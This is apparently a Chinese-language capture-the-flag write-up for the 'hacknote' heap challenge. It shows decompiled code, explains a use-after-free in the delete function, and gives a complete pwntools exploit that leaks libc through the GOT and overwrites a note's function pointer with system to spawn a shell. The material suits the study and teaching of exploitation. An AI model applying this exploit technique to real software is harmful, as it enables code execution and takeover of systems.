ida分析一下程序结构,比较短小.
void __cdecl __noreturn main()
{
int choice_int; // eax
char choice_char; // [esp+8h] [ebp-10h]
unsigned int canary; // [esp+Ch] [ebp-Ch]
canary = __readgsdword(0x14u);
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 2, 0);
while ( 1 )
{
while ( 1 )
{
ui_func();
read(0, &choice_char, 4u);
choice_int = atoi(&choice_char);
if ( choice_int != 2 )
break;
delete_func();
}
if ( choice_int > 2 )
{
if ( choice_int == 3 )
{
show_func();
}
else
{
if ( choice_int == 4 )
exit(0);
LABEL_13:
puts("Invalid choice");
}
}
else
{
if ( choice_int != 1 )
goto LABEL_13;
add_func();
}
}
}
main函数没什么好说的,常规的堆题目,打印一个菜单,分别提供创建,删除和打印笔记的功能,先进入add_func查看一下:
unsigned int add_func()
{
manage_note *note; // ebx
signed int i; // [esp+Ch] [ebp-1Ch]
int size; // [esp+10h] [ebp-18h]
char buf; // [esp+14h] [ebp-14h]
unsigned int canary; // [esp+1Ch] [ebp-Ch]
canary = __readgsdword(0x14u);
if ( chunk_count <= 5 )
{
for ( i = 0; i <= 4; ++i )
{
if ( !chunk_ptr[i] )
{
chunk_ptr[i] = malloc(8u);
if ( !chunk_ptr[i] )
{
puts("Alloca Error");
exit(-1);
}
*(_DWORD *)chunk_ptr[i] = puts_func;
printf("Note size :");
read(0, &buf, 8u);
size = atoi(&buf);
note = (manage_note *)chunk_ptr[i];
note->content_ptr = (int *)malloc(size);
if ( !*((_DWORD *)chunk_ptr[i] + 1) )
{
puts("Alloca Error");
exit(-1);
}
printf("Content :");
read(0, *((void **)chunk_ptr[i] + 1), size);
puts("Success !");
++chunk_count;
return __readgsdword(0x14u) ^ canary;
}
}
}
else
{
puts("Full");
}
return __readgsdword(0x14u) ^ canary;
}
chunk_count限制使用add函数的次数.申请note的时候,程序先申请8字节内存,并且把地址保存在chunk_ptr[]中.这8个字节用来保存note结构,前四个字节保存一个函数指针,姑且命名为puts_func,这个函数将传入指针的下一个偏移地址的内容打印出来
int __cdecl puts_func(int *a1)
{
return puts((const char *)a1[1]);
}
后四个字保存一个指针,指向大小为size的内存,用来保存note的content.这样可能不是很直观,我用c语言展示一下note的结构:
struct manage_note
{
int *puts_func_ptr;
int *content_ptr;
};
puts_func_ptr指向puts_func这个函数,content_ptr则指向note的content,用来保存我们的输入.如果还是不直观的话,可以看看图:
note
+-----------------+ +----------------+
| *puts_func_ptr |------------------->| puts_func |
+-----------------+ +----------------+
| *content_ptr |------------------->+----------------+
+-----------------+ | real |
| content |
+----------------+
这样应该很清晰了,假设我们创建一个大小为10字节的note,程序会先申请八个字节来保存note结构,接着再申请0x10字节作为real_content保存我们的输入.
unsigned int delete_func()
{
int index; // [esp+4h] [ebp-14h]
char buf; // [esp+8h] [ebp-10h]
unsigned int canary; // [esp+Ch] [ebp-Ch]
canary = __readgsdword(0x14u);
printf("Index :");
read(0, &buf, 4u);
index = atoi(&buf);
if ( index < 0 || index >= chunk_count )
{
puts("Out of bound!");
_exit(0);
}
if ( chunk_ptr[index] ) // UAF
{
free(*((void **)chunk_ptr[index] + 1));
free(chunk_ptr[index]);
puts("Success");
}
return __readgsdword(0x14u) ^ canary;
}
delete_func函数先读取一个下标index,然后对相应的note进行free.这两个free比较晕,第一个free释放我们的rea_content,第二个free释放note结构,但是释放之后并没有对指针进行置0,造成了两个悬挂指针,我们可以对释放后的指针继续进行操作,所以这个地方造成了UAF.
unsigned int show_func()
{
int index; // [esp+4h] [ebp-14h]
char buf; // [esp+8h] [ebp-10h]
unsigned int canary; // [esp+Ch] [ebp-Ch]
canary = __readgsdword(0x14u);
printf("Index :");
read(0, &buf, 4u);
index = atoi(&buf);
if ( index < 0 || index >= chunk_count )
{
puts("Out of bound!");
_exit(0);
}
if ( chunk_ptr[index] )
(*(void (__cdecl **)(void *))chunk_ptr[index])(chunk_ptr[index]);
return __readgsdword(0x14u) ^ canary;
}
show_func函数先读取一个下标index,接着调用*chunk_ptr[index]处的函数,也就是我们刚刚说到的puts_func,参数则是chunk_ptr[index],又因为puts_func实际打印的是传入参数的下一个地址,也就是note->content的内容,那么就会打印出我们输入的content.
exp
#!/usr/bin/env python2
# -*- coding: utf-8 -*-
from PwnContext.core import *
local = False
# Set up pwntools for the correct architecture
exe = './' + 'hacknote'
elf = context.binary = ELF(exe)
ctx.custom_lib_dir = '/home/dylan/glibc-all-in-one/libs/2.23-0ubuntu10_i386'
#don't forget to change it
host = args.HOST or 'chall.pwnable.tw'
port = int(args.PORT or 10102)
#don't forget to change it
#ctx.binary = './' + 'hacknote'
ctx.binary = exe
libc = args.LIBC or 'libc.so'
elf_libc = ELF(libc)
ctx.debug_remote_libc = True
ctx.remote_libc = libc
if local:
context.log_level = 'debug'
try:
io = ctx.start()
except Exception as e:
print(e.args)
print("It can't work,may be it can't load the remote libc!")
print("It will load the local process")
io = process(exe)
else:
io = remote(host,port)
#===========================================================
# EXPLOIT GOES HERE
#===========================================================
# Arch: i386-32-little
# RELRO: Partial RELRO
# Stack: Canary found
# NX: NX enabled
# PIE: No PIE (0x8048000)
def add(size,content):
io.recvuntil('Your choice :')
io.send(str(1))
io.recvuntil(':')
io.send(str(size))
io.recvuntil('Content :')
io.send(content)
def delete(index):
io.recvuntil('Your choice :')
io.send(str(2))
io.recvuntil('Index :')
io.send(str(index))
def show(index):
io.recvuntil('Your choice :')
io.send(str(3))
io.recvuntil('Index :')
io.send(str(index))
def exp():
puts_func_addr = 0x0804862B
# 申请两块real_content size为16的note
# 实际上申请了四块内存,分别是两块保存note的16字节chunk,两块保存real_content的24字节chunk
# 如果你不明白为什么是16和24字节,请翻看前置知识的chunk大小计算
add(16,'a'*16) # note 0
add(16,'a'*16) # note 1
# 分别把 note 0 和 note 1 释放
# 和上面类似,实际上释放了四块内存,都被加入了Fast Bins中
# 两块24字节的chunk链接在了一起,即real_content_1 -> real_content_0,用不到了,忘记它的存在吧
# 关键在于两个16字节的chunk链接在了一起,即 note_1 -> note_0
delete(0)
delete(1)
# 现在,我们重新申请size为8的note,我们将会malloc两块16字节大小的chunk
# 首先程序malloc了一个16字节的chunk来保存note,根据前文说的First Fit以及Fast Bins的性质
# 我们就可以推断出note_2对应的chunk其实就是note_1
# 接着程序再malloc一个16字节的chunk来作为real_content存放我们的输入
# 此时,real_content_2对应的chunk就是note_0,我们可以对real_content_2进行输入
# 我们对real_content_2输入的时候,就会改写note_0保存的两个指针
add(8,p32(puts_func_addr) + p32(elf.got['malloc']))
# 如下,我们调用puts_func打印出elf.got['malloc']的值,从而泄露libc地址
show(0)
# 通过计算得到这些地址
malloc_got = u32(io.recvn(4)[:4])
log.success("malloc_got = " + hex(malloc_got))
libc_base = malloc_got - elf_libc.symbols['malloc']
log.success("libc_base = " + hex(libc_base))
system_addr = libc_base + elf_libc.symbols['system']
log.success("system_addr = " + hex(system_addr))
bin_sh_addr = libc_base + elf_libc.search('/bin/sh\x00').next()
log.success("bin_sh_addr = " + hex(bin_sh_addr))
# 释放note_2,那么fastbin又会回到note_1 -> note_0这个状态
delete(2)
# note_2 -> puts_func_ptr == system_addr
# 参数为p32(system_addr) + ';sh\x00'
add(8,p32(system_addr) + ';sh\x00')
# getshell
show(0)
if __name__ == '__main__':
exp()
io.interactive()